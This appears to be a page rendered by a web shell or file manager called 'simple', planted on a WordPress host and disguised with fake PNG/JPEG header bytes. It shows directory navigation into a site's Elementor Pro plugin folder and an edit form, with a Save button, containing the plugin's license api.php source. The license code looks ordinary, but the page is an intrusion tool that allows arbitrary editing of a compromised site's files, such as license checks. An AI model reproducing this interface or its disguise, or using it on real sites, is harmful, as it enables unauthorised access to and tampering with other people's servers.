�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor-pro%2F'>elementor-pro</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor-pro%2Flicense%2F'>license</a>/</p><hr><h3>✏️ Editing: api.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
namespace ElementorPro\License;

use Elementor\Core\Common\Modules\Connect\Module as ConnectModule;
use ElementorPro\Plugin;
use ElementorPro\Modules\Tiers\Module as Tiers;
use Elementor\Api as Core_API;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly
}

class API {

	const PRODUCT_NAME = &#039;Elementor Pro&#039;;

	/**
	 * @deprecated 3.8.0
	 */
	const STORE_URL = &#039;https://my.elementor.com/api/v1/licenses/&#039;;

	const BASE_URL = &#039;https://my.elementor.com/api/v2/&#039;;

	const RENEW_URL = &#039;https://go.elementor.com/renew/&#039;;

	// License Statuses
	const STATUS_EXPIRED = &#039;expired&#039;;
	const STATUS_SITE_INACTIVE = &#039;site_inactive&#039;;
	const STATUS_CANCELLED = &#039;cancelled&#039;;
	const STATUS_REQUEST_LOCKED = &#039;request_locked&#039;;
	const STATUS_MISSING = &#039;missing&#039;;
	const STATUS_HTTP_ERROR = &#039;http_error&#039;;

	/**
	 * @deprecated 3.8.0
	 */
	const STATUS_VALID = &#039;valid&#039;;
	/**
	 * @deprecated 3.8.0
	 */
	const STATUS_INVALID = &#039;invalid&#039;;

	/**
	 * @deprecated 3.8.0
	 */
	const STATUS_DISABLED = &#039;disabled&#039;;

	/**
	 * @deprecated 3.8.0
	 */
	const STATUS_REVOKED = &#039;revoked&#039;;

	// Features
	const FEATURE_PRO_TRIAL = &#039;pro_trial&#039;;

	// Requests lock config.
	const REQUEST_LOCK_TTL = MINUTE_IN_SECONDS;
	const REQUEST_LOCK_OPTION_NAME = &#039;_elementor_pro_api_requests_lock&#039;;

	const TRANSIENT_KEY_PREFIX = &#039;elementor_pro_remote_info_api_data_&#039;;

	const LICENCE_TIER_KEY = &#039;tier&#039;;
	const LICENCE_GENERATION_KEY = &#039;generation&#039;;

	// Tiers.
	const TIER_ESSENENTIAL = &#039;essential&#039;;
	const TIER_ADVANCED = &#039;advanced&#039;;
	const TIER_EXPERT = &#039;expert&#039;;
	const TIER_AGENCY = &#039;agency&#039;;

	// Generations.
	const GENERATION_ESSENTIAL_OCT2023 = &#039;essential-oct2023&#039;;
	const GENERATION_EMPTY = &#039;empty&#039;;

	const BC_VALIDATION_CALLBACK = &#039;should_allow_all_features&#039;;

	protected static $transient_data = [];

	private static function remote_post( $endpoint, $body_args = [] ) {
		$use_home_url = true;

		/**
		 * The license API uses `home_url()` function to retrieve the URL. This hook allows
		 * developers to use `get_site_url()` instead of `home_url()` to set the URL.
		 *
		 * When set to `true` (default) it uses `home_url()`.
		 * When set to `false` it uses `get_site_url()`.
		 *
		 * @param boolean $use_home_url Whether to use `home_url()` or `get_site_url()`.
		 */
		$use_home_url = apply_filters( &#039;elementor_pro/license/api/use_home_url&#039;, $use_home_url );

		$body_args = wp_parse_args(
			$body_args,
			[
				&#039;api_version&#039; =&gt; ELEMENTOR_PRO_VERSION,
				&#039;item_name&#039; =&gt; self::PRODUCT_NAME,
				&#039;site_lang&#039; =&gt; get_bloginfo( &#039;language&#039; ),
				&#039;url&#039; =&gt; $use_home_url ? home_url() : get_site_url(),
			]
		);

		$response = wp_remote_post( self::BASE_URL . $endpoint, [
			&#039;timeout&#039; =&gt; 40,
			&#039;body&#039; =&gt; $body_args,
		] );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$data = json_decode( wp_remote_retrieve_body( $response ), true );
		if ( empty( $data ) || ! is_array( $data ) ) {
			return new \WP_Error( &#039;no_json&#039;, esc_html__( &#039;An error occurred, please try again&#039;, &#039;elementor-pro&#039; ) );
		}

		return $data;
	}

	public static function activate_license( $license_key ) {
		$body_args = [
			&#039;license&#039; =&gt; $license_key,
		];

		$license_data = self::remote_post( &#039;license/activate&#039;, $body_args );

		return $license_data;
	}

	public static function deactivate_license() {
		$body_args = [
			&#039;license&#039; =&gt; Admin::get_license_key(),
		];

		$license_data = self::remote_post( &#039;license/deactivate&#039;, $body_args );

		return $license_data;
	}

	public static function set_transient( $cache_key, $value, $expiration = &#039;+12 hours&#039; ) {
		$data = [
			&#039;timeout&#039; =&gt; strtotime( $expiration, current_time( &#039;timestamp&#039; ) ),
			&#039;value&#039; =&gt; json_encode( $value ),
		];

		$updated = update_option( $cache_key, $data, false );
		if ( false === $updated ) {
			self::$transient_data[ $cache_key ] = $data;
		}
	}

	private static function get_transient( $cache_key ) {
		$cache = self::$transient_data[ $cache_key ] ?? get_option( $cache_key );

		if ( empty( $cache[&#039;timeout&#039;] ) ) {
			return false;
		}

		if ( current_time( &#039;timestamp&#039; ) &gt; $cache[&#039;timeout&#039;] &amp;&amp; is_user_logged_in() ) {
			return false;
		}

		return json_decode( $cache[&#039;value&#039;], true );
	}

	public static function set_license_data( $license_data, $expiration = null ) {
		if ( null === $expiration ) {
			$expiration = &#039;+12 hours&#039;;

			self::set_transient( Admin::LICENSE_DATA_FALLBACK_OPTION_NAME, $license_data, &#039;+24 hours&#039; );
		}

		self::set_transient( Admin::LICENSE_DATA_OPTION_NAME, $license_data, $expiration );
	}

	/**
	 * Check if another request is in progress.
	 *
	 * @param string $name Request name
	 *
	 * @return bool
	 */
	public static function is_request_running( $name ) {
		$requests_lock = get_option( self::REQUEST_LOCK_OPTION_NAME, [] );
		if ( isset( $requests_lock[ $name ] ) ) {
			if ( $requests_lock[ $name ] &gt; time() - self::REQUEST_LOCK_TTL ) {
				return true;
			}
		}

		$requests_lock[ $name ] = time();
		update_option( self::REQUEST_LOCK_OPTION_NAME, $requests_lock );

		return false;
	}

	public static function get_license_data( $force_request = false ) {
		$license_data_error = [
			&#039;success&#039; =&gt; false,
			&#039;error&#039; =&gt; static::STATUS_HTTP_ERROR,
			&#039;payment_id&#039; =&gt; &#039;0&#039;,
			&#039;license_limit&#039; =&gt; &#039;0&#039;,
			&#039;site_count&#039; =&gt; &#039;0&#039;,
			&#039;activations_left&#039; =&gt; &#039;0&#039;,
		];

		$license_key = Admin::get_license_key();

		if ( empty( $license_key ) ) {
			$license_data_error[&#039;error&#039;] = static::STATUS_MISSING;

			return $license_data_error;
		}

		$license_data = self::get_transient( Admin::LICENSE_DATA_OPTION_NAME );

		if ( false === $license_data || $force_request ) {
			$body_args = [
				&#039;license&#039; =&gt; $license_key,
			];

			if ( self::is_request_running( &#039;get_license_data&#039; ) ) {
				if ( false !== $license_data ) {
					return $license_data;
				}

				$license_data_error[&#039;error&#039;] = static::STATUS_REQUEST_LOCKED;

				return $license_data_error;
			}

			$license_data = self::remote_post( &#039;license/validate&#039;, $body_args );

			if ( is_wp_error( $license_data ) || ! isset( $license_data[&#039;success&#039;] ) ) {
				$license_data = self::get_transient( Admin::LICENSE_DATA_FALLBACK_OPTION_NAME );
				if ( false === $license_data ) {
					$license_data = $license_data_error;
				}

				self::set_license_data( $license_data, &#039;+30 minutes&#039; );
			} else {
				self::set_license_data( $license_data );
			}
		}

		return $license_data;
	}

	public static function get_version( $force_update = true, $additional_status = &#039;&#039; ) {
		$cache_key = self::TRANSIENT_KEY_PREFIX . ELEMENTOR_PRO_VERSION;

		$info_data = self::get_transient( $cache_key );

		if ( $force_update || false === $info_data ) {
			if ( self::is_request_running( &#039;get_version&#039; ) ) {
				if ( false !== $info_data ) {
					return $info_data;
				}

				return new \WP_Error( esc_html__( &#039;Another check is in progress.&#039;, &#039;elementor-pro&#039; ) );
			}

			$updater = Plugin::instance()-&gt;updater;

			$translations = wp_get_installed_translations( &#039;plugins&#039; );
			$plugin_translations = [];
			if ( isset( $translations[ $updater-&gt;plugin_slug ] ) ) {
				$plugin_translations = $translations[ $updater-&gt;plugin_slug ];
			}

			$locales = array_values( get_available_languages() );

			$body_args = [
				&#039;name&#039; =&gt; $updater-&gt;plugin_name,
				&#039;slug&#039; =&gt; $updater-&gt;plugin_slug,
				&#039;version&#039; =&gt; $updater-&gt;plugin_version,
				&#039;license&#039; =&gt; Admin::get_license_key(),
				&#039;translations&#039; =&gt; wp_json_encode( $plugin_translations ),
				&#039;locales&#039; =&gt; wp_json_encode( $locales ),
				&#039;beta&#039; =&gt; &#039;yes&#039; === get_option( &#039;elementor_beta&#039;, &#039;no&#039; ),
			];

			if ( method_exists( &#039;\\Elementor\\Api&#039;, &#039;get_site_key&#039; ) ) {
				$site_key = \Elementor\Api::get_site_key();
				if ( ! empty( $site_key ) ) {
					$body_args[&#039;site_key&#039;] = $site_key;
				}
			}

			if ( ! empty( $additional_status ) ) {
				$body_args[&#039;status&#039;] = $additional_status;
			}

			$info_data = self::remote_post( &#039;pro/info&#039;, $body_args );

			if ( is_wp_error( $info_data ) || empty( $info_data[&#039;new_version&#039;] ) ) {
				return new \WP_Error( esc_html__( &#039;HTTP Error&#039;, &#039;elementor-pro&#039; ) );
			}

			self::set_transient( $cache_key, $info_data );
		}

		return $info_data;
	}

	public static function get_plugin_package_url( $version ) {
		$url = &#039;https://my.elementor.com/api/v1/pro-downloads/&#039;;

		$body_args = [
			&#039;item_name&#039; =&gt; self::PRODUCT_NAME,
			&#039;version&#039; =&gt; $version,
			&#039;license&#039; =&gt; Admin::get_license_key(),
			&#039;url&#039; =&gt; home_url(),
		];

		$response = wp_remote_post( $url, [
			&#039;timeout&#039; =&gt; 40,
			&#039;body&#039; =&gt; $body_args,
		] );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response_code = (int) wp_remote_retrieve_response_code( $response );
		$data = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( 401 === $response_code ) {
			return new \WP_Error( $response_code, $data[&#039;message&#039;] );
		}

		if ( 200 !== $response_code ) {
			return new \WP_Error( $response_code, esc_html__( &#039;HTTP Error&#039;, &#039;elementor-pro&#039; ) );
		}

		$data = json_decode( wp_remote_retrieve_body( $response ), true );
		if ( empty( $data ) || ! is_array( $data ) ) {
			return new \WP_Error( &#039;no_json&#039;, esc_html__( &#039;An error occurred, please try again&#039;, &#039;elementor-pro&#039; ) );
		}

		return $data[&#039;package_url&#039;];
	}

	public static function get_previous_versions() {
		$url = &#039;https://my.elementor.com/api/v1/pro-downloads/&#039;;

		$body_args = [
			&#039;version&#039; =&gt; ELEMENTOR_PRO_VERSION,
			&#039;license&#039; =&gt; Admin::get_license_key(),
			&#039;url&#039; =&gt; home_url(),
		];

		$response = wp_remote_get( $url, [
			&#039;timeout&#039; =&gt; 40,
			&#039;body&#039; =&gt; $body_args,
		] );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response_code = (int) wp_remote_retrieve_response_code( $response );
		$data = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( 401 === $response_code ) {
			return new \WP_Error( $response_code, $data[&#039;message&#039;] );
		}

		if ( 200 !== $response_code ) {
			return new \WP_Error( $response_code, esc_html__( &#039;HTTP Error&#039;, &#039;elementor-pro&#039; ) );
		}

		$data = json_decode( wp_remote_retrieve_body( $response ), true );
		if ( empty( $data ) || ! is_array( $data ) ) {
			return new \WP_Error( &#039;no_json&#039;, esc_html__( &#039;An error occurred, please try again&#039;, &#039;elementor-pro&#039; ) );
		}

		return $data[&#039;versions&#039;];
	}

	public static function get_errors() {
		return [
			&#039;no_activations_left&#039; =&gt; sprintf(
				/* translators: 1: Bold text opening tag, 2: Bold text closing tag, 3: Link opening tag, 4: Link closing tag. */
				esc_html__( &#039;%1$sYou have no more activations left.%2$s %3$sPlease upgrade to a more advanced license%4$s (you\&#039;ll only need to cover the difference).&#039;, &#039;elementor-pro&#039; ),
				&#039;&lt;strong&gt;&#039;,
				&#039;&lt;/strong&gt;&#039;,
				&#039;&lt;a href=&quot;https://go.elementor.com/upgrade/&quot; target=&quot;_blank&quot;&gt;&#039;,
				&#039;&lt;/a&gt;&#039;
			),
			&#039;expired&#039; =&gt; sprintf(
				/* translators: 1: Bold text opening tag, 2: Bold text closing tag, 3: Link opening tag, 4: Link closing tag. */
				esc_html__( &#039;%1$sYour Elementor Pro license has expired.%2$s Want to keep creating secure and high-performing websites? Renew your subscription to regain access to all of the Elementor Pro widgets, templates, updates &amp; more. %3$sRenew now%4$s&#039;, &#039;elementor-pro&#039; ),
				&#039;&lt;strong&gt;&#039;,
				&#039;&lt;/strong&gt;&#039;,
				&#039;&lt;a href=&quot;https://go.elementor.com/renew/&quot; target=&quot;_blank&quot;&gt;&#039;,
				&#039;&lt;/a&gt;&#039;
			),
			&#039;missing&#039; =&gt; esc_html__( &#039;Your license is missing. Please check your key again.&#039;, &#039;elementor-pro&#039; ),
			&#039;cancelled&#039; =&gt; sprintf(
				/* translators: 1: Bold text opening tag, 2: Bold text closing tag. */
				esc_html__( &#039;%1$sYour license key has been cancelled%2$s (most likely due to a refund request). Please consider acquiring a new license.&#039;, &#039;elementor-pro&#039; ),
				&#039;&lt;strong&gt;&#039;,
				&#039;&lt;/strong&gt;&#039;
			),
			&#039;key_mismatch&#039; =&gt; esc_html__( &#039;Your license is invalid for this domain. Please check your key again.&#039;, &#039;elementor-pro&#039; ),
		];
	}

	public static function get_error_message( $error ) {
		$errors = self::get_errors();

		if ( isset( $errors[ $error ] ) ) {
			$error_msg = $errors[ $error ];
		} else {
			$error_msg = esc_html__( &#039;An error occurred. Please check your internet connection and try again. If the problem persists, contact our support.&#039;, &#039;elementor-pro&#039; ) . &#039; (&#039; . $error . &#039;)&#039;;
		}

		return $error_msg;
	}

	public static function is_license_active() {
		$license_data = self::get_license_data();

		return (bool) $license_data[&#039;success&#039;];
	}

	public static function is_license_expired() {
		$license_data = self::get_license_data();

		return ! empty( $license_data[&#039;error&#039;] ) &amp;&amp; self::STATUS_EXPIRED === $license_data[&#039;error&#039;];
	}

	public static function is_licence_pro_trial() {
		return self::is_licence_has_feature( self::FEATURE_PRO_TRIAL );
	}

	public static function is_licence_has_feature( $feature_name, $license_check_validator = null ) {
		$license_data = self::get_license_data();

		if ( self::custom_licence_validator_passed( $license_check_validator ) ) {
			return true;
		}

		return ! empty( $license_data[&#039;features&#039;] )
			&amp;&amp; in_array( $feature_name, $license_data[&#039;features&#039;], true );
	}

	private static function custom_licence_validator_passed( $license_check_validator ) {
		return null !== $license_check_validator &amp;&amp;
			is_callable( [ __CLASS__, $license_check_validator ] ) &amp;&amp;
			self::$license_check_validator();
	}

	private static function should_allow_all_features() {
		return ! self::licence_supports_tiers() || self::is_frontend();
	}

	private static function is_frontend() {
		return ! is_admin() &amp;&amp; ! Plugin::elementor()-&gt;preview-&gt;is_preview_mode();
	}

	/*
	 * We can consider removing this function and it&#039;s usages at a future point if
	 * we feel confident that all user&#039;s Licence Caches has been refreshed
	 * and should definitely contain a tier and generation.
	 */
	private static function licence_supports_tiers() {
		$license_data = self::get_license_data();

		return ! empty( $license_data[ static::LICENCE_TIER_KEY ] ) &amp;&amp; ! empty( $license_data[ static::LICENCE_GENERATION_KEY ] );
	}

	public static function is_need_to_show_upgrade_promotion() {
		if ( ! self::licence_supports_tiers() ) {
			return false;
		}

		return self::is_licence_tier( static::TIER_ESSENENTIAL ) &amp;&amp; self::is_licence_generation( static::GENERATION_EMPTY );
	}

	private static function is_licence_tier( $tier ) {
		if ( ! self::licence_supports_tiers() ) {
			return false;
		}

		return self::get_license_data()[ static::LICENCE_TIER_KEY ] === $tier;
	}

	private static function is_licence_generation( $generation ) {
		if ( ! self::licence_supports_tiers() ) {
			return false;
		}

		return self::get_license_data()[ static::LICENCE_GENERATION_KEY ] === $generation;
	}

	public static function filter_active_features( $features ) {
		if ( self::should_allow_all_features() ) {
			return array_values( $features );
		}

		$license_data = self::get_license_data();
		$filtered_values = [];

		if ( ! is_array( $license_data[&#039;features&#039;] ) ) {
			$license_data[&#039;features&#039;] = [];
		}

		foreach ( $license_data[&#039;features&#039;] as $key ) {
			if ( ! array_key_exists( $key, $features ) ) {
				continue;
			}

			$filtered_values[] = $features[ $key ];
		}

		return $filtered_values;
	}

	public static function get_promotion_widgets() {
		$promotions = Core_API::get_promotion_widgets();
		$license_data = self::get_license_data();

		if ( ! self::licence_supports_tiers() ) {
			return [];
		}

		if ( ! is_array( $license_data[&#039;features&#039;] ) ) {
			$license_data[&#039;features&#039;] = [];
		}

		foreach ( $promotions as $key =&gt; $promotion ) {
			if ( ! in_array( $promotion[&#039;name&#039;], $license_data[&#039;features&#039;] ) ) {
				continue;
			}

			unset( $promotions[ $key ] );
		}

		return array_values( $promotions );
	}

	/*
	 * Check if the Licence is not Expired and also has a Feature.
	 * Needed because even Expired Licences keep the features array for BC.
	 */
	public static function active_licence_has_feature( $feature_name ) {
		return ! self::is_license_expired() &amp;&amp; self::is_licence_has_feature( $feature_name, static::BC_VALIDATION_CALLBACK );
	}

	public static function is_license_about_to_expire() {
		$license_data = self::get_license_data();

		if ( ! empty( $license_data[&#039;recurring&#039;] ) ) {
			return false;
		}

		if ( &#039;lifetime&#039; === $license_data[&#039;expires&#039;] ) {
			return false;
		}

		return time() &gt; strtotime( &#039;-28 days&#039;, strtotime( $license_data[&#039;expires&#039;] ) );
	}

	/**
	 * @param string $library_type
	 *
	 * @return int
	 */
	public static function get_library_access_level( $library_type = &#039;template&#039; ) {
		$license_data = static::get_license_data();

		$access_level = ConnectModule::ACCESS_LEVEL_CORE;

		if ( static::is_license_active() ) {
			$access_level = ConnectModule::ACCESS_LEVEL_PRO;
		}

		// For BC: making sure that it returns the correct access_level even if &quot;features&quot; is not defined in the license data.
		if ( ! isset( $license_data[&#039;features&#039;] ) || ! is_array( $license_data[&#039;features&#039;] ) ) {
			return $access_level;
		}

		$library_access_level_prefix = &quot;{$library_type}_access_level_&quot;;

		foreach ( $license_data[&#039;features&#039;] as $feature ) {
			if ( strpos( $feature, $library_access_level_prefix ) !== 0 ) {
				continue;
			}

			$access_level = (int) str_replace( $library_access_level_prefix, &#039;&#039;, $feature );
		}

		return $access_level;
	}

	/**
	 * The license API uses &quot;tiers&quot; and &quot;generations&quot;.
	 * Because we don&#039;t use the same logic, and have a flat list of prioritized tiers &amp; generations,
	 * we take the generation if exists and fallback to the tier otherwise.
	 *
	 * For example:
	 *   [ &#039;tier&#039; =&gt; &#039;essential&#039;, &#039;generation&#039; =&gt; &#039;essential-oct2023&#039; ] =&gt; &#039;essential-oct2023&#039;
	 *   [ &#039;tier&#039; =&gt; &#039;essential&#039;, &#039;generation&#039; =&gt; &#039;empty&#039; ] =&gt; &#039;essential&#039;
	 *   [ &#039;tier&#039; =&gt; &#039;&#039;, &#039;generation&#039; =&gt; &#039;&#039; ] =&gt; &#039;essential-oct2023&#039;
	 *   [] =&gt; &#039;essential-oct2023&#039;
	 *
	 * @return string
	 */
	public static function get_access_tier() {
		if ( ! static::is_license_active() ) {
			return &#039;free&#039;;
		}

		$license_data = static::get_license_data();
		$tier = $license_data[&#039;tier&#039;] ?? null;
		$generation = $license_data[&#039;generation&#039;] ?? null;

		// Fallback to legacy license when the API returns empty values.
		$is_legacy_api = empty( $tier ) || empty( $generation );

		if ( $is_legacy_api ) {
			return &#039;essential-oct2023&#039;;
		}

		// The license API returns &quot;empty&quot; instead of empty string.
		$has_generation = &#039;empty&#039; !== $generation;

		if ( $has_generation ) {
			return $generation;
		}

		return $tier;
	}

	public static function get_plan_type() {
		if ( ! static::is_license_active() ) {
			return &#039;free&#039;;
		}

		$license_data = static::get_license_data();
		$plan_type = $license_data[&#039;tier&#039;] ?? &#039;free&#039;;

		return $plan_type;
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor-pro%2Flicense'>🔙 Back</a></p>